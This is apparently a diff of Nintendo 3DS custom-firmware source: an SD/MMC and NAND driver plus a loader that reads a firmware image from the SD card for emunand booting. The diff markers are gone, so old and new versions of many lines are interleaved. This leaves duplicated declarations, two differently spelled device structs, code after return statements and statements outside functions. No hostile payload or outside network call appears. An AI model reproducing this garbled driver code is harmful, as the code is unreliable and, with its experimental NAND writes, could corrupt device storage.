sdmmc_write16(REG_SDBLKLEN32,0x200);
#endif
sdmmc_write16(REG_SDBLKCOUNT,numsectors);
handelSD.data = out;
handelSD.size = numsectors << 9;
sdmmc_send_command(&handelSD,0x33C12,sector_no);
return geterror(&handelSD);
}
switch (type) {
case -1:
type = temp >> 6;
break;
case 0:
{
u32 temp = (csd[0x7] << 0x2 | csd[0x8] << 0xA | csd[0x6] >> 0x6 | (csd[0x9] & 0xF) << 0x10) & 0xFFF;
u32 temp2 = temp * (1 << (csd[0x9] & 0xF));
u32 retval = temp2 * (1 << (((csd[0x4] >> 7 | csd[0x5] << 1) & 7) + 2));
result = retval >> 9;
break;
}
case 1:
result = (((csd[0x7] & 0x3F) << 0x10 | csd[0x6] << 8 | csd[0x5]) + 1) << 0xA;
break;
default:
result = 0;
break;
}
return result;
int NO_INLINE sdmmc_nand_readsectors(uint32_t sector_no, uint32_t numsectors, uint8_t *out)
{
if(handelNAND.isSDHC == 0) sector_no <<= 9;
inittarget(&handelNAND);
sdmmc_write16(REG_SDSTOP,0x100);
#ifdef DATA32_SUPPORT
sdmmc_write16(REG_SDBLKCOUNT32,numsectors);
sdmmc_write16(REG_SDBLKLEN32,0x200);
#endif
sdmmc_write16(REG_SDBLKCOUNT,numsectors);
handelNAND.data = out;
handelNAND.size = numsectors << 9;
sdmmc_send_command(&handelNAND,0x33C12,sector_no);
inittarget(&handelSD);
return geterror(&handelNAND);
}
int NO_INLINE sdmmc_nand_writesectors(uint32_t sector_no, uint32_t numsectors, uint8_t *in) //experimental
{
if(handelNAND.isSDHC == 0) sector_no <<= 9;
inittarget(&handelNAND);
sdmmc_write16(REG_SDSTOP,0x100);
#ifdef DATA32_SUPPORT
sdmmc_write16(REG_SDBLKCOUNT32,numsectors);
sdmmc_write16(REG_SDBLKLEN32,0x200);
#endif
sdmmc_write16(REG_SDBLKCOUNT,numsectors);
handelNAND.data = in;
handelNAND.size = numsectors << 9;
sdmmc_send_command(&handelNAND,0x52C19,sector_no);
inittarget(&handelSD);
return geterror(&handelNAND);
}
static uint32_t calcSDSize(uint8_t* csd, int type)
{
uint32_t result=0;
if(type == -1) type = csd[14] >> 6;
switch(type)
{
case 0:
{
uint32_t block_len=csd[9]&0xf;
block_len=1<<block_len;
uint32_t mult=(csd[4]>>7)|((csd[5]&3)<<1);
mult=1<<(mult+2);
result=csd[8]&3;
result=(result<<8)|csd[7];
result=(result<<2)|(csd[6]>>6);
result=(result+1)*mult*block_len/512;
}
break;
case 1:
result=csd[7]&0x3f;
result=(result<<8)|csd[6];
result=(result<<8)|csd[5];
result=(result+1)*1024;
break;
}
return result;
}
void InitSD()
{
//NAND
handleNAND.isSDHC = 0;
handleNAND.SDOPT = 0;
handleNAND.res = 0;
handleNAND.initarg = 1;
handleNAND.clk = 0x80;
handleNAND.devicenumber = 1;
//NAND
handelNAND.isSDHC = 0;
handelNAND.SDOPT = 0;
handelNAND.res = 0;
handelNAND.initarg = 1;
handelNAND.clk = 0x80;
handelNAND.devicenumber = 1;
//SD
handleSD.isSDHC = 0;
handleSD.SDOPT = 0;
handleSD.res = 0;
handleSD.initarg = 0;
handleSD.clk = 0x80;
handleSD.devicenumber = 0;
//SD
handelSD.isSDHC = 0;
handelSD.SDOPT = 0;
handelSD.res = 0;
handelSD.initarg = 0;
handelSD.clk = 0x80;
handelSD.devicenumber = 0;
//sdmmc_mask16(0x100,0x800,0);
//sdmmc_mask16(0x100,0x1000,0);
//sdmmc_mask16(0x100,0x0,0x402);
//sdmmc_mask16(0xD8,0x22,0x2);
//sdmmc_mask16(0x100,0x2,0);
//sdmmc_mask16(0xD8,0x22,0);
//sdmmc_write16(0x104,0);
//sdmmc_write16(0x108,1);
//sdmmc_mask16(REG_SDRESET,1,0); //not in new Version -- nintendo's code does this
//sdmmc_mask16(REG_SDRESET,0,1); //not in new Version -- nintendo's code does this
//sdmmc_mask16(0x20,0,0x31D);
//sdmmc_mask16(0x22,0,0x837F);
//sdmmc_mask16(0xFC,0,0xDB);
//sdmmc_mask16(0xFE,0,0xDB);
////sdmmc_write16(REG_SDCLKCTL,0x20);
////sdmmc_write16(REG_SDOPT,0x40EE);
////sdmmc_mask16(0x02,0x3,0);
//sdmmc_write16(REG_SDCLKCTL,0x40);
//sdmmc_write16(REG_SDOPT,0x40EB);
//sdmmc_mask16(0x02,0x3,0);
//sdmmc_write16(REG_SDBLKLEN,0x200);
//sdmmc_write16(REG_SDSTOP,0);
//sdmmc_mask16(0x100,0x800,0);
//sdmmc_mask16(0x100,0x1000,0);
//sdmmc_mask16(0x100,0x0,0x402);
//sdmmc_mask16(0xD8,0x22,0x2);
//sdmmc_mask16(0x100,0x2,0);
//sdmmc_mask16(0xD8,0x22,0);
//sdmmc_write16(0x104,0);
//sdmmc_write16(0x108,1);
//sdmmc_mask16(REG_SDRESET,1,0); //not in new Version -- nintendo's code does this
//sdmmc_mask16(REG_SDRESET,0,1); //not in new Version -- nintendo's code does this
//sdmmc_mask16(0x20,0,0x31D);
//sdmmc_mask16(0x22,0,0x837F);
//sdmmc_mask16(0xFC,0,0xDB);
//sdmmc_mask16(0xFE,0,0xDB);
////sdmmc_write16(REG_SDCLKCTL,0x20);
////sdmmc_write16(REG_SDOPT,0x40EE);
////sdmmc_mask16(0x02,0x3,0);
//sdmmc_write16(REG_SDCLKCTL,0x40);
//sdmmc_write16(REG_SDOPT,0x40EB);
//sdmmc_mask16(0x02,0x3,0);
//sdmmc_write16(REG_SDBLKLEN,0x200);
//sdmmc_write16(REG_SDSTOP,0);
*(vu16*)0x10006100 &= 0xF7FFu; //SDDATACTL32
*(vu16*)0x10006100 &= 0xEFFFu; //SDDATACTL32
*(volatile uint16_t*)0x10006100 &= 0xF7FFu; //SDDATACTL32
*(volatile uint16_t*)0x10006100 &= 0xEFFFu; //SDDATACTL32
#ifdef DATA32_SUPPORT
*(vu16*)0x10006100 |= 0x402u; //SDDATACTL32
*(volatile uint16_t*)0x10006100 |= 0x402u; //SDDATACTL32
#else
*(vu16*)0x10006100 |= 0x402u; //SDDATACTL32
*(volatile uint16_t*)0x10006100 |= 0x402u; //SDDATACTL32
#endif
*(vu16*)0x100060D8 = (*(vu16*)0x100060D8 & 0xFFDD) | 2;
*(volatile uint16_t*)0x100060D8 = (*(volatile uint16_t*)0x100060D8 & 0xFFDD) | 2;
#ifdef DATA32_SUPPORT
*(vu16*)0x10006100 &= 0xFFFFu; //SDDATACTL32
*(vu16*)0x100060D8 &= 0xFFDFu; //SDDATACTL
*(vu16*)0x10006104 = 512; //SDBLKLEN32
*(volatile uint16_t*)0x10006100 &= 0xFFFFu; //SDDATACTL32
*(volatile uint16_t*)0x100060D8 &= 0xFFDFu; //SDDATACTL
*(volatile uint16_t*)0x10006104 = 512; //SDBLKLEN32
#else
*(vu16*)0x10006100 &= 0xFFFDu; //SDDATACTL32
*(vu16*)0x100060D8 &= 0xFFDDu; //SDDATACTL
*(vu16*)0x10006104 = 0; //SDBLKLEN32
*(volatile uint16_t*)0x10006100 &= 0xFFFDu; //SDDATACTL32
*(volatile uint16_t*)0x100060D8 &= 0xFFDDu; //SDDATACTL
*(volatile uint16_t*)0x10006104 = 0; //SDBLKLEN32
#endif
*(vu16*)0x10006108 = 1; //SDBLKCOUNT32
*(vu16*)0x100060E0 &= 0xFFFEu; //SDRESET
*(vu16*)0x100060E0 |= 1u; //SDRESET
*(vu16*)0x10006020 |= TMIO_MASK_ALL; //SDIR_MASK0
*(vu16*)0x10006022 |= TMIO_MASK_ALL>>16; //SDIR_MASK1
*(vu16*)0x100060FC |= 0xDBu; //SDCTL_RESERVED7
*(vu16*)0x100060FE |= 0xDBu; //SDCTL_RESERVED8
*(vu16*)0x10006002 &= 0xFFFCu; //SDPORTSEL
*(volatile uint16_t*)0x10006108 = 1; //SDBLKCOUNT32
*(volatile uint16_t*)0x100060E0 &= 0xFFFEu; //SDRESET
*(volatile uint16_t*)0x100060E0 |= 1u; //SDRESET
*(volatile uint16_t*)0x10006020 |= TMIO_MASK_ALL; //SDIR_MASK0
*(volatile uint16_t*)0x10006022 |= TMIO_MASK_ALL>>16; //SDIR_MASK1
*(volatile uint16_t*)0x100060FC |= 0xDBu; //SDCTL_RESERVED7
*(volatile uint16_t*)0x100060FE |= 0xDBu; //SDCTL_RESERVED8
*(volatile uint16_t*)0x10006002 &= 0xFFFCu; //SDPORTSEL
#ifdef DATA32_SUPPORT
*(vu16*)0x10006024 = 0x20;
*(vu16*)0x10006028 = 0x40EE;
*(volatile uint16_t*)0x10006024 = 0x20;
*(volatile uint16_t*)0x10006028 = 0x40EE;
#else
*(vu16*)0x10006024 = 0x40; //Nintendo sets this to 0x20
*(vu16*)0x10006028 = 0x40EB; //Nintendo sets this to 0x40EE
*(volatile uint16_t*)0x10006024 = 0x40; //Nintendo sets this to 0x20
*(volatile uint16_t*)0x10006028 = 0x40EB; //Nintendo sets this to 0x40EE
#endif
*(vu16*)0x10006002 &= 0xFFFCu; ////SDPORTSEL
*(vu16*)0x10006026 = 512; //SDBLKLEN
*(vu16*)0x10006008 = 0; //SDSTOP
*(volatile uint16_t*)0x10006002 &= 0xFFFCu; ////SDPORTSEL
*(volatile uint16_t*)0x10006026 = 512; //SDBLKLEN
*(volatile uint16_t*)0x10006008 = 0; //SDSTOP
inittarget(&handleSD);
inittarget(&handelSD);
}
int Nand_Init()
{
inittarget(&handleNAND);
ioDelay(0xF000);
inittarget(&handelNAND);
waitcycles(0xF000);
sdmmc_send_command(&handleNAND,0,0);
DEBUGPRINT(topScreen, "0x00000 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
do {
do {
sdmmc_send_command(&handleNAND,0x10701,0x100000);
} while ( !(handleNAND.error & 1) );
} while((handleNAND.ret[0] & 0x80000000) == 0);
sdmmc_send_command(&handelNAND,0,0);
sdmmc_send_command(&handleNAND,0x10602,0x0);
if (handleNAND.error & 0x4) return -1;
DEBUGPRINT(topScreen, "0x10701 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
sdmmc_send_command(&handleNAND,0x10403,handleNAND.initarg << 0x10);
if (handleNAND.error & 0x4) return -1;
do
{
do
{
sdmmc_send_command(&handelNAND,0x10701,0x100000);
DEBUGPRINT(topScreen, "error ", handelNAND.error, 10, 20 + 17*8, RGB(40, 40, 40), RGB(208, 208, 208));
DEBUGPRINT(topScreen, "ret: ", handelNAND.ret[0], 10, 20 + 18*8, RGB(40, 40, 40), RGB(208, 208, 208));
DEBUGPRINT(topScreen, "test ", 3, 10, 20 + 19*8, RGB(40, 40, 40), RGB(208, 208, 208));
} while ( !(handelNAND.error & 1) );
}
while((handelNAND.ret[0] & 0x80000000) == 0);
sdmmc_send_command(&handleNAND,0x10609,handleNAND.initarg << 0x10);
if (handleNAND.error & 0x4) return -1;
DEBUGPRINT(topScreen, "0x10602 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
handleNAND.total_size = calcSDSize((u8*)&handleNAND.ret[0],0);
handleNAND.clk = 1;
setckl(1);
sdmmc_send_command(&handelNAND,0x10602,0x0);
if((handelNAND.error & 0x4))return -1;
sdmmc_send_command(&handleNAND,0x10407,handleNAND.initarg << 0x10);
if (handleNAND.error & 0x4) return -1;
DEBUGPRINT(topScreen, "0x10403 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
handleNAND.SDOPT = 1;
sdmmc_send_command(&handelNAND,0x10403,handelNAND.initarg << 0x10);
if((handelNAND.error & 0x4))return -1;
sdmmc_send_command(&handleNAND,0x10506,0x3B70100);
if (handleNAND.error & 0x4) return -1;
DEBUGPRINT(topScreen, "0x10609 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
sdmmc_send_command(&handleNAND,0x10506,0x3B90100);
if (handleNAND.error & 0x4) return -1;
sdmmc_send_command(&handelNAND,0x10609,handelNAND.initarg << 0x10);
if((handelNAND.error & 0x4))return -1;
sdmmc_send_command(&handleNAND,0x1040D,handleNAND.initarg << 0x10);
if (handleNAND.error & 0x4) return -1;
DEBUGPRINT(topScreen, "0x10407 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
sdmmc_send_command(&handleNAND,0x10410,0x200);
if (handleNAND.error & 0x4) return -1;
handelNAND.total_size = calcSDSize((uint8_t*)&handelNAND.ret[0],0);
handelNAND.clk = 1;
setckl(1);
handleNAND.clk |= 0x200;
sdmmc_send_command(&handelNAND,0x10407,handelNAND.initarg << 0x10);
if((handelNAND.error & 0x4))return -1;
inittarget(&handleSD);
DEBUGPRINT(topScreen, "0x10506 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
return 0;
handelNAND.SDOPT = 1;
sdmmc_send_command(&handelNAND,0x10506,0x3B70100);
if((handelNAND.error & 0x4))return -1;
DEBUGPRINT(topScreen, "0x10506 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
sdmmc_send_command(&handelNAND,0x10506,0x3B90100);
if((handelNAND.error & 0x4))return -1;
DEBUGPRINT(topScreen, "0x1040D ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
sdmmc_send_command(&handelNAND,0x1040D,handelNAND.initarg << 0x10);
if((handelNAND.error & 0x4))return -1;
DEBUGPRINT(topScreen, "0x10410 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
sdmmc_send_command(&handelNAND,0x10410,0x200);
if((handelNAND.error & 0x4))return -1;
handelNAND.clk |= 0x200;
inittarget(&handelSD);
return 0;
}
int SD_Init()
{
inittarget(&handleSD);
//ioDelay(0x3E8);
ioDelay(0xF000);
sdmmc_send_command(&handleSD,0,0);
sdmmc_send_command(&handleSD,0x10408,0x1AA);
//u32 temp = (handleSD.ret[0] == 0x1AA) << 0x1E;
u32 temp = (handleSD.error & 0x1) << 0x1E;
inittarget(&handelSD);
//waitcycles(0x3E8);
waitcycles(0xF000);
DEBUGPRINT(topScreen, "0x00000 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
sdmmc_send_command(&handelSD,0,0);
DEBUGPRINT(topScreen, "0x10408 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
sdmmc_send_command(&handelSD,0x10408,0x1AA);
//uint32_t temp = (handelSD.ret[0] == 0x1AA) << 0x1E;
uint32_t temp = (handelSD.error & 0x1) << 0x1E;
//int count = 0;
u32 temp2 = 0;
do {
do {
sdmmc_send_command(&handleSD,0x10437,handleSD.initarg << 0x10);
sdmmc_send_command(&handleSD,0x10769,0x00FF8000 | temp);
temp2 = 1;
} while ( !(handleSD.error & 1) );
DEBUGPRINT(topScreen, "0x10769 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
DEBUGPRINT(topScreen, "sd ret: ", handelSD.ret[0], 10, 20 + 15*8, RGB(40, 40, 40), RGB(208, 208, 208));
DEBUGPRINT(topScreen, "temp: ", temp, 10, 20 + 16*8, RGB(40, 40, 40), RGB(208, 208, 208));
} while((handleSD.ret[0] & 0x80000000) == 0);
//do
//{
// sdmmc_send_command(&handleSD,0x10437,handleSD.initarg << 0x10);
// sdmmc_send_command(&handleSD,0x10769,0x00FF8000 | temp);
//
//}
//while(!(handleSD.ret[0] & 0x80000000));
//int count = 0;
uint32_t temp2 = 0;
do
{
do
{
sdmmc_send_command(&handelSD,0x10437,handelSD.initarg << 0x10);
sdmmc_send_command(&handelSD,0x10769,0x00FF8000 | temp);
temp2 = 1;
} while ( !(handelSD.error & 1) );
if(!((handleSD.ret[0] >> 30) & 1) || !temp)
temp2 = 0;
//DEBUGPRINT(topScreen, "sd error ", handelSD.error, 10, 20 + 17*8, RGB(40, 40, 40), RGB(208, 208, 208));
//DEBUGPRINT(topScreen, "sd ret: ", handelSD.ret[0], 10, 20 + 18*8, RGB(40, 40, 40), RGB(208, 208, 208));
//DEBUGPRINT(topScreen, "count: ", count++, 10, 20 + 19*8, RGB(40, 40, 40), RGB(208, 208, 208));
}
while((handelSD.ret[0] & 0x80000000) == 0);
//do
//{
// sdmmc_send_command(&handelSD,0x10437,handelSD.initarg << 0x10);
// sdmmc_send_command(&handelSD,0x10769,0x00FF8000 | temp);
//
// DEBUGPRINT(topScreen, "sd error ", handelSD.error, 10, 20 + 17*8, RGB(40, 40, 40), RGB(208, 208, 208));
// DEBUGPRINT(topScreen, "sd ret: ", handelSD.ret[0], 10, 20 + 18*8, RGB(40, 40, 40), RGB(208, 208, 208));
// DEBUGPRINT(topScreen, "count: ", count++, 10, 20 + 19*8, RGB(40, 40, 40), RGB(208, 208, 208));
//}
//while(!(handelSD.ret[0] & 0x80000000));
handleSD.isSDHC = temp2;
//handleSD.isSDHC = (handleSD.ret[0] & 0x40000000);
if(!((handelSD.ret[0] >> 30) & 1) || !temp)
temp2 = 0;
sdmmc_send_command(&handleSD,0x10602,0);
if (handleSD.error & 0x4) return -1;
handelSD.isSDHC = temp2;
//handelSD.isSDHC = (handelSD.ret[0] & 0x40000000);
sdmmc_send_command(&handleSD,0x10403,0);
if (handleSD.error & 0x4) return -1;
handleSD.initarg = handleSD.ret[0] >> 0x10;
DEBUGPRINT(topScreen, "0x10602 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
sdmmc_send_command(&handleSD,0x10609,handleSD.initarg << 0x10);
if (handleSD.error & 0x4) return -1;
sdmmc_send_command(&handelSD,0x10602,0);
if((handelSD.error & 0x4)) return -1;
handleSD.total_size = calcSDSize((u8*)&handleSD.ret[0],-1);
handleSD.clk = 1;
setckl(1);
DEBUGPRINT(topScreen, "0x10403 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
sdmmc_send_command(&handleSD,0x10507,handleSD.initarg << 0x10);
if (handleSD.error & 0x4) return -1;
sdmmc_send_command(&handelSD,0x10403,0);
if((handelSD.error & 0x4)) return -1;
handelSD.initarg = handelSD.ret[0] >> 0x10;
sdmmc_send_command(&handleSD,0x10437,handleSD.initarg << 0x10);
if (handleSD.error & 0x4) return -1;
DEBUGPRINT(topScreen, "0x10609 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
handleSD.SDOPT = 1;
sdmmc_send_command(&handleSD,0x10446,0x2);
if (handleSD.error & 0x4) return -1;
sdmmc_send_command(&handelSD,0x10609,handelSD.initarg << 0x10);
if((handelSD.error & 0x4)) return -1;
sdmmc_send_command(&handleSD,0x1040D,handleSD.initarg << 0x10);
if (handleSD.error & 0x4) return -1;
handelSD.total_size = calcSDSize((uint8_t*)&handelSD.ret[0],-1);
handelSD.clk = 1;
setckl(1);
sdmmc_send_command(&handleSD,0x10410,0x200);
if (handleSD.error & 0x4) return -1;
handleSD.clk |= 0x200;
DEBUGPRINT(topScreen, "0x10507 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
return 0;
sdmmc_send_command(&handelSD,0x10507,handelSD.initarg << 0x10);
if((handelSD.error & 0x4)) return -1;
DEBUGPRINT(topScreen, "0x10437 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
sdmmc_send_command(&handelSD,0x10437,handelSD.initarg << 0x10);
if((handelSD.error & 0x4)) return -1;
DEBUGPRINT(topScreen, "0x10446 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
handelSD.SDOPT = 1;
sdmmc_send_command(&handelSD,0x10446,0x2);
if((handelSD.error & 0x4)) return -1;
DEBUGPRINT(topScreen, "0x1040D ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
sdmmc_send_command(&handelSD,0x1040D,handelSD.initarg << 0x10);
if((handelSD.error & 0x4)) return -1;
DEBUGPRINT(topScreen, "0x10410 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
sdmmc_send_command(&handelSD,0x10410,0x200);
if((handelSD.error & 0x4)) return -1;
handelSD.clk |= 0x200;
return 0;
}
void sdmmc_sdcard_init()
{
InitSD();
Nand_Init();
SD_Init();
DEBUGPRINT(topScreen, "sdmmc_sdcard_init ", handelSD.error, 10, 20 + 2*8, RGB(40, 40, 40), RGB(208, 208, 208));
InitSD();
//SD_Init2();
//Nand_Init();
Nand_Init();
DEBUGPRINT(topScreen, "nand_res ", nand_res, 10, 20 + 3*8, RGB(40, 40, 40), RGB(208, 208, 208));
SD_Init();
DEBUGPRINT(topScreen, "sd_res ", sd_res, 10, 20 + 4*8, RGB(40, 40, 40), RGB(208, 208, 208));
}

View File

@ -1,52 +1,52 @@
// Copyright 2014 Normmatt
// Licensed under GPLv2 or any later version
// Refer to the license.txt file included.
#ifndef __SDMMC_H__
#define __SDMMC_H__
#pragma once
#define TRUE 1
#define FALSE 0
#include "common.h"
#include <stdint.h>
#define SDMMC_BASE 0x10006000u
#define SDMMC_BASE 0x10006000
#define REG_SDCMD 0x00
#define REG_SDPORTSEL 0x02
#define REG_SDCMDARG 0x04
#define REG_SDCMDARG0 0x04
#define REG_SDCMDARG1 0x06
#define REG_SDSTOP 0x08
#define REG_SDBLKCOUNT 0x0a
#define REG_SDCMD 0x00
#define REG_SDPORTSEL 0x02
#define REG_SDCMDARG 0x04
#define REG_SDCMDARG0 0x04
#define REG_SDCMDARG1 0x06
#define REG_SDSTOP 0x08
#define REG_SDBLKCOUNT 0x0a
#define REG_SDRESP0 0x0c
#define REG_SDRESP1 0x0e
#define REG_SDRESP2 0x10
#define REG_SDRESP3 0x12
#define REG_SDRESP4 0x14
#define REG_SDRESP5 0x16
#define REG_SDRESP6 0x18
#define REG_SDRESP7 0x1a
#define REG_SDRESP0 0x0c
#define REG_SDRESP1 0x0e
#define REG_SDRESP2 0x10
#define REG_SDRESP3 0x12
#define REG_SDRESP4 0x14
#define REG_SDRESP5 0x16
#define REG_SDRESP6 0x18
#define REG_SDRESP7 0x1a
#define REG_SDSTATUS0 0x1c
#define REG_SDSTATUS1 0x1e
#define REG_SDSTATUS0 0x1c
#define REG_SDSTATUS1 0x1e
#define REG_SDIRMASK0 0x20
#define REG_SDIRMASK1 0x22
#define REG_SDCLKCTL 0x24
#define REG_SDIRMASK0 0x20
#define REG_SDIRMASK1 0x22
#define REG_SDCLKCTL 0x24
#define REG_SDBLKLEN 0x26
#define REG_SDOPT 0x28
#define REG_SDFIFO 0x30
#define REG_SDBLKLEN 0x26
#define REG_SDOPT 0x28
#define REG_SDFIFO 0x30
#define REG_SDDATACTL 0xd8
#define REG_SDRESET 0xe0
#define REG_SDPROTECTED 0xf6 //bit 0 determines if sd is protected or not?
#define REG_DATACTL 0xd8
#define REG_SDRESET 0xe0
#define REG_SDPROTECTED 0xf6 //bit 0 determines if sd is protected or not?
#define REG_SDDATACTL32 0x100
#define REG_SDBLKLEN32 0x104
#define REG_SDBLKCOUNT32 0x108
#define REG_SDFIFO32 0x10C
#define REG_DATACTL32 0x100
#define REG_SDBLKLEN32 0x104
#define REG_SDBLKCOUNT32 0x108
#define REG_SDFIFO32 0x10C
#define REG_CLK_AND_WAIT_CTL 0x138
#define REG_RESET_SDIO 0x1e0
#define REG_CLK_AND_WAIT_CTL 0x138
#define REG_RESET_SDIO 0x1e0
#define TMIO_STAT0_CMDRESPEND 0x0001
#define TMIO_STAT0_DATAEND 0x0004
@ -97,75 +97,88 @@
#define TMIO_MASK_ALL 0x837f031d
#define TMIO_MASK_GW (TMIO_STAT1_ILL_ACCESS | TMIO_STAT1_CMDTIMEOUT | TMIO_STAT1_TXUNDERRUN | TMIO_STAT1_RXOVERFLOW | \
TMIO_STAT1_DATATIMEOUT | TMIO_STAT1_STOPBIT_ERR | TMIO_STAT1_CRCFAIL | TMIO_STAT1_CMD_IDX_ERR)
TMIO_STAT1_DATATIMEOUT | TMIO_STAT1_STOPBIT_ERR | TMIO_STAT1_CRCFAIL | TMIO_STAT1_CMD_IDX_ERR)
#define TMIO_MASK_READOP (TMIO_STAT1_RXRDY | TMIO_STAT1_DATAEND)
#define TMIO_MASK_WRITEOP (TMIO_STAT1_TXRQ | TMIO_STAT1_DATAEND)
typedef struct mmcdevice {
u8* data;
u32 size;
u32 error;
u16 stat0;
u16 stat1;
u32 ret[4];
u32 initarg;
u32 isSDHC;
u32 clk;
u32 SDOPT;
u32 devicenumber;
u32 total_size; //size in sectors of the device
u32 res;
} mmcdevice;
#ifdef __cplusplus
extern "C" {
#endif
/*int sdmmc_sdcard_init();
void sdmmc_sdcard_readsector(uint32_t sector_no, void *out);
void sdmmc_sdcard_readsectors(uint32_t sector_no, uint32_t numsectors, void *out);
void sdmmc_sdcard_writesector(uint32_t sector_no, void *in);
void sdmmc_sdcard_writesectors(uint32_t sector_no, uint32_t numsectors, void *in);
void sdmmc_blktransferinit();*/
typedef struct mmcdevice {
uint8_t* data;
uint32_t size;
uint32_t error;
uint16_t stat0;
uint16_t stat1;
uint32_t ret[4];
uint32_t initarg;
uint32_t isSDHC;
uint32_t clk;
uint32_t SDOPT;
uint32_t devicenumber;
uint32_t total_size; //size in sectors of the device
uint32_t res;
} mmcdevice;
void sdmmc_sdcard_init();
int sdmmc_sdcard_readsector(u32 sector_no, u8 *out);
int sdmmc_sdcard_readsectors(u32 sector_no, u32 numsectors, u8 *out);
int sdmmc_sdcard_writesector(u32 sector_no, u8 *in);
int sdmmc_sdcard_writesectors(u32 sector_no, u32 numsectors, u8 *in);
void sdmmc_sdcard_init();
int sdmmc_sdcard_readsector(uint32_t sector_no, uint8_t *out);
int sdmmc_sdcard_readsectors(uint32_t sector_no, uint32_t numsectors, uint8_t *out);
int sdmmc_sdcard_writesector(uint32_t sector_no, uint8_t *in);
int sdmmc_sdcard_writesectors(uint32_t sector_no, uint32_t numsectors, uint8_t *in);
int sdmmc_nand_readsectors(u32 sector_no, u32 numsectors, u8 *out);
int sdmmc_nand_writesectors(u32 sector_no, u32 numsectors, u8 *in);
int sdmmc_nand_readsectors(uint32_t sector_no, uint32_t numsectors, uint8_t *out);
int sdmmc_nand_writesectors(uint32_t sector_no, uint32_t numsectors, uint8_t *in);
mmcdevice *getMMCDevice(int drive);
mmcdevice *getMMCDevice(int drive);
void InitSDMMC();
int Nand_Init();
int SD_Init();
void InitSD();
int Nand_Init();
int SD_Init();
static inline u16 sdmmc_read16(u16 reg) {
return *(vu16*)(SDMMC_BASE + reg);
#ifdef __cplusplus
};
#endif
//---------------------------------------------------------------------------------
static inline uint16_t sdmmc_read16(uint16_t reg) {
//---------------------------------------------------------------------------------
return *(volatile uint16_t*)(SDMMC_BASE + reg);
}
static inline void sdmmc_write16(u16 reg, u16 val) {
*(vu16*)(SDMMC_BASE + reg) = val;
//---------------------------------------------------------------------------------
static inline void sdmmc_write16(uint16_t reg, uint16_t val) {
//---------------------------------------------------------------------------------
*(volatile uint16_t*)(SDMMC_BASE + reg) = val;
}
static inline u32 sdmmc_read32(u16 reg) {
return *(vu32*)(SDMMC_BASE + reg);
//---------------------------------------------------------------------------------
static inline uint32_t sdmmc_read32(uint16_t reg) {
//---------------------------------------------------------------------------------
return *(volatile uint32_t*)(SDMMC_BASE + reg);
}
static inline void sdmmc_write32(u16 reg, u32 val) {
*(vu32*)(SDMMC_BASE + reg) = val;
//---------------------------------------------------------------------------------
static inline void sdmmc_write32(uint16_t reg, uint32_t val) {
//---------------------------------------------------------------------------------
*(volatile uint32_t*)(SDMMC_BASE + reg) = val;
}
static inline void sdmmc_mask16(u16 reg, const u16 clear, const u16 set) {
u16 val = sdmmc_read16(reg);
val &= ~clear;
val |= set;
sdmmc_write16(reg, val);
//---------------------------------------------------------------------------------
static inline void sdmmc_mask16(uint16_t reg, const uint16_t clear, const uint16_t set) {
//---------------------------------------------------------------------------------
uint16_t val = sdmmc_read16(reg);
val &= ~clear;
val |= set;
sdmmc_write16(reg, val);
}
static inline void setckl(u32 data)
static inline void setckl(uint32_t data)
{
sdmmc_mask16(REG_SDCLKCTL, 0x100, 0);
sdmmc_mask16(REG_SDCLKCTL, 0x2FF, data & 0x2FF);
sdmmc_mask16(REG_SDCLKCTL, 0x0, 0x100);
sdmmc_mask16(REG_SDCLKCTL,0x100,0);
sdmmc_mask16(REG_SDCLKCTL,0x2FF,data&0x2FF);
sdmmc_mask16(REG_SDCLKCTL,0x0,0x100);
}
#endif

View File

@ -11,66 +11,52 @@
#include "emunand.h"
#include "crypto.h"
firmHeader *firmLocation = (firmHeader *)0x24000000;
const u32 firmSize = 0xF1000;
const firmHeader *firmLocation = (firmHeader *)0x24000000;
const u32 firmSize = 0xF3000;
firmSectionHeader *section;
u32 emuOffset = 0;
u32 emuHeader = 0;
u32 kversion = 0;
//Load firm into FCRAM
void loadFirm(int mode){
//Sysnand mode
if(mode == 0 || getEmunand(&emuOffset, &emuHeader) == 0){
//Read FIRM from NAND and write to FCRAM
nandFirm0((u8*)firmLocation, firmSize);
section = firmLocation->section;
kversion = 0x04; //TODO: make this not hard coded
arm9loader((u8*)firmLocation + section[2].offset, kversion);
}
//Emunand mode
else{
//Read FIRM from SD card and write to FCRAM
fileRead((u8*)firmLocation, "/rei/firmware.bin", firmSize);
section = firmLocation->section;
kversion = 0x18; //TODO: make this not hard coded
arm9loader((u8*)firmLocation + section[2].offset, kversion);
loadEmu();
}
void loadFirm(void){
//Read FIRM from SD card and write to FCRAM
fileRead((u8*)firmLocation, "/rei/firmware.bin", firmSize);
section = firmLocation->section;
arm9loader((u8*)firmLocation + section[2].offset);
}
//Nand redirection
